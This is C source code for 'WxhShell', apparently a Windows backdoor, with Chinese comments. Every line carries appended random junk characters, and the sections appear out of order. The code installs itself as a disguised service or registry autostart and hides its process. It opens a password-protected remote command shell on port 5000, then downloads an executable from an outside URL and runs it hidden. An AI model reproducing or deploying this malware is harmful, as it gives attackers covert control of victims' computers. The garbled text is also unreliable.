ULONG InheritedFromUniqueProcessId; Y8J;+h9
} PROCESS_BASIC_INFORMATION; HzD> -f
QN5yBa!Wz
PROCNTQSIP NtQueryInformationProcess; Q{qj
`z-H]fU
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; P~Te+ -jX}
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *xX(!t'
[+;FV!M6
HANDLE hProcess; ?AV&@EX2C
PROCESS_BASIC_INFORMATION pbi; W>`g;[ W
<\1}@?NGC
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); r^w\9a_
if(NULL == hInst ) return 0; z-KrQx2
O)R7t3t
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); y wW-p.
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); sR"zRn
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %aj7-K6:t
gx!*O<|e4
if (!NtQueryInformationProcess) return 0; f?=r3/AO
1z})mfsh
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -+3be(u
if(!hProcess) return 0; h1^9tz{
,+ns
{ppn
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;[{:'^n
9RG\UbX)^|
CloseHandle(hProcess); N,j>;x3xT
s{(ehP.Dd
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); JqI6k6~Q^
if(hProcess==NULL) return 0; c
}<*~w;
IWjR0
HMODULE hMod; 6}VUD
-}B
char procName[255]; -"~L2f"?
unsigned long cbNeeded; T&9`?QD
94T}iY.
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P$p@5 hl
D^66p8t
CloseHandle(hProcess); 8_xnWMOe
y#]}5gJ
if(strstr(procName,"services")) return 1; // 以服务启动 r?64!VS;
Xtci0eS#V
return 0; // 注册表启动 )^t!|*1LA
} )8pcf`h{
uk`T+@K
// 主模块 zc6Ho
int StartWxhshell(LPSTR lpCmdLine) !"g=&Uy&
{ VDB$"T9#
SOCKET wsl; a`7%A H)
BOOL val=TRUE; OOCQsoN
int port=0; E^b
pckP
struct sockaddr_in door; Dz[566UD
yB-.sGu
if(wscfg.ws_autoins) Install(); y._'K+nl
sW;7m[o
port=atoi(lpCmdLine); rs[?v*R74
@4;HC=~
if(port<=0) port=wscfg.ws_port; _FL<egK
Q/9a,85
WSADATA data; .D+RLO z
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F|ETug
n
Jzk!K@
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Y{,2X~ 7
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?V#Gx>\
door.sin_family = AF_INET; &(gm4bTg
door.sin_addr.s_addr = inet_addr("127.0.0.1"); vGXWwQ.1Tp
door.sin_port = htons(port); OZG0AX+=#
66oK3%[
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zLh Fbyn(
closesocket(wsl); {J{1`@
return 1; ;!'qtw"CB
} m'd^?Qc
;xL67e%?
if(listen(wsl,2) == INVALID_SOCKET) { h]qT1(I
closesocket(wsl); F
vj{@B!
return 1; 7nm}fT
z7
} &kb\,mQ
Wxhshell(wsl); Q`N18I3
WSACleanup(); $9G3LgcS
O'fk&&l
return 0; |-|jf
/E)9v$!
} iDZrK%fl
M
/"gf;)q>
// 以NT服务方式启动 W3^.5I
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !&W|myN^
{ ~
9=27p
DWORD status = 0; 3Q",9(D
DWORD specificError = 0xfffffff; h9)RJSF4
F@9Y\. ,
serviceStatus.dwServiceType = SERVICE_WIN32; pqJ)G;%9
serviceStatus.dwCurrentState = SERVICE_START_PENDING; d5Qd'
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ` "B^{o
serviceStatus.dwWin32ExitCode = 0; Y =9j2 ]t
serviceStatus.dwServiceSpecificExitCode = 0; 4K E)g
serviceStatus.dwCheckPoint = 0; UIn^_}jF`
serviceStatus.dwWaitHint = 0; ?gLAWz
=qw&dwIQ
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); V7P6zAJy
if (hServiceStatusHandle==0) return; oB4#J*
.vK.XFZ8R
status = GetLastError(); qh$X^%g
if (status!=NO_ERROR) *.8JP
{ _D-5}a"
serviceStatus.dwCurrentState = SERVICE_STOPPED; 3g;T?E
serviceStatus.dwCheckPoint = 0; YX_vv!-]
serviceStatus.dwWaitHint = 0; A]j}'
serviceStatus.dwWin32ExitCode = status; u)7*Rj^
serviceStatus.dwServiceSpecificExitCode = specificError; L%f;J/
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 57U%`
return; B3Mx,uXT\
} f4
Q(
1(C
[g +y_@9s
serviceStatus.dwCurrentState = SERVICE_RUNNING; PT+c&5A S
serviceStatus.dwCheckPoint = 0; <^Nk.E
serviceStatus.dwWaitHint = 0; R3?:\d{
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )i0 $j)R
} AQe!Sqg'
lj*8mS/;h
// 处理NT服务事件,比如:启动、停止 K}Na3}m
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ae6("Oid
{ ?ZaD=nh$mK
switch(fdwControl) v`SY6;<2
{ C%]."R cMC
case SERVICE_CONTROL_STOP: W<Z$YWr
serviceStatus.dwWin32ExitCode = 0; FZpsL-yx^N
serviceStatus.dwCurrentState = SERVICE_STOPPED; 9
Va40X1
serviceStatus.dwCheckPoint = 0; EMhr6</
serviceStatus.dwWaitHint = 0; TMww
{ { UOhVJy
SetServiceStatus(hServiceStatusHandle, &serviceStatus); l~['[Ub0)
} YN^T$,*
return; {S*!B
case SERVICE_CONTROL_PAUSE: 6Hwxx5>r
serviceStatus.dwCurrentState = SERVICE_PAUSED; _jmkl
B
break; "7d.i(vw
case SERVICE_CONTROL_CONTINUE: a1|c2kT
serviceStatus.dwCurrentState = SERVICE_RUNNING; .uKx>YB}
break; 7WP%J-
case SERVICE_CONTROL_INTERROGATE: xor TL8
break; P_}/#N{C
}; 7b46t2W<
SetServiceStatus(hServiceStatusHandle, &serviceStatus); y:,9I`aW
} 8?1o<8hV
5DOE3T`^Oc
// 标准应用程序主函数 oIR.|=Hk{
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U@?6*,b(.
{ 6JH56
YDFCGA
// 获取操作系统版本 waCboK'
OsIsNt=GetOsVer(); ]`d2_mu
GetModuleFileName(NULL,ExeFile,MAX_PATH); f^?uY8<
)v1CC..
// 从命令行安装 's.~$
if(strpbrk(lpCmdLine,"iI")) Install(); `NSy"6{Z
?+Q$#pb
// 下载执行文件 sB6dpD
if(wscfg.ws_downexe) { ~:EW>Fq%i
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^dfx~C
WinExec(wscfg.ws_filenam,SW_HIDE); f ;wc{qy
} xr.XU'
~ezCu_
if(!OsIsNt) { qm'b'!gq~
// 如果时win9x,隐藏进程并且设置为注册表启动 sT`^ljp4
HideProc(); "yW&<7u1
StartWxhshell(lpCmdLine); SX+4HJB
} % $TEDr!
else #Qd'+M
if(StartFromService()) `
8UWE {
// 以服务方式启动 x@m<Ym-
StartServiceCtrlDispatcher(DispatchTable); j{;|g%5t
else )* TF"
// 普通方式启动 9U^$.Lb
StartWxhshell(lpCmdLine); $O9Xx
W2eAhz&
return 0; Hbk&6kS
} FJT1i@N
_]=9#Fg7{
CZ3].DA|z
2xn<E>]
=========================================== Pz@/|&]
`(DJs-xD
MCU9O
s4$X
/.$L"u
(ua q<Cvg
" rl?7W];
s<&[\U
#include <stdio.h> TsHF
tj9S
#include <string.h> 62kb2C
#include <windows.h> `G?qY8
#include <winsock2.h> q (>c`5
#include <winsvc.h> L2fVLKH
#include <urlmon.h> qS.)UaA
[bjN
f2
#pragma comment (lib, "Ws2_32.lib") xo Gb
#pragma comment (lib, "urlmon.lib") yN\e{;z`
:wipE]~4t
#define MAX_USER 100 // 最大客户端连接数 -;pOh;WG
#define BUF_SOCK 200 // sock buffer }+0z,s~0.
#define KEY_BUFF 255 // 输入 buffer 9&K/GaG
.N"~zOV<#
#define REBOOT 0 // 重启 I4D<WoU;dJ
#define SHUTDOWN 1 // 关机 [se^.[0,
p<5!02yQ\
#define DEF_PORT 5000 // 监听端口 } 0M{A+
4 x,hj
#define REG_LEN 16 // 注册表键长度 OCnFEX"
#define SVC_LEN 80 // NT服务名长度 0E6lmz`O
kH?#B%N5
// 从dll定义API 9?EVQ
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +xj "hX>3
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); G {b:i8}l
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )~
z Z'^
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); L.B~ax.|Z
UFEN y."P
// wxhshell配置信息 kdcQw7G
struct WSCFG { zOGR+Gq_Z
int ws_port; // 监听端口 m^I,}1H4
char ws_passstr[REG_LEN]; // 口令 \c7>:DH
int ws_autoins; // 安装标记, 1=yes 0=no tln1eN((q
char ws_regname[REG_LEN]; // 注册表键名 ."mlSW"Wm
char ws_svcname[REG_LEN]; // 服务名 ai;\@$ cq
char ws_svcdisp[SVC_LEN]; // 服务显示名 6>DLp}d
char ws_svcdesc[SVC_LEN]; // 服务描述信息 Qhy#r
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 jN/ j\x'
int ws_downexe; // 下载执行标记, 1=yes 0=no =;{^"#r\
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" r{[OJc!
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 n &}s-`D
s[AA7>]3
}; 1R*=.i%W
6D/ '`
// default Wxhshell configuration o8z)nOTO;
struct WSCFG wscfg={DEF_PORT, q`Q}yE>9
"xuhuanlingzhe", Y~qb;N\
1, \VN=Ef\E
"Wxhshell", &q>zR6jne
"Wxhshell", |LmSWy*7
"WxhShell Service", p=gX!4,9<
"Wrsky Windows CmdShell Service", S "
pI
"Please Input Your Password: ", B?6QMC;
1, iiNSDc
"http://www.wrsky.com/wxhshell.exe", `.^ |]|u
"Wxhshell.exe" :ejJV
6.
}; .y): Rh^
AK2WN#u@Z
// 消息定义模块 yn~P{}68
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; j*zD0I]
char *msg_ws_prompt="\n\r? for help\n\r#>"; u^4h&fL
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; lTz6"/
char *msg_ws_ext="\n\rExit."; B9M>e'H%<
char *msg_ws_end="\n\rQuit."; nPA@h
char *msg_ws_boot="\n\rReboot..."; N:W9},
char *msg_ws_poff="\n\rShutdown..."; >eS$
char *msg_ws_down="\n\rSave to "; ZK!A#Jm{
4%_M27bu[
char *msg_ws_err="\n\rErr!"; R^8{bP
char *msg_ws_ok="\n\rOK!"; X9XI;c;b-
[,g~m9
char ExeFile[MAX_PATH]; sN/+
int nUser = 0; Z8&'f,
HANDLE handles[MAX_USER]; CAgaEJhX3
int OsIsNt; O4Dr ]Xc]
~<ri97)
SERVICE_STATUS serviceStatus; g}Qx`65:
SERVICE_STATUS_HANDLE hServiceStatusHandle; l\Xd.H" j,
ycX{NDGs
// 函数声明 d`%Mg&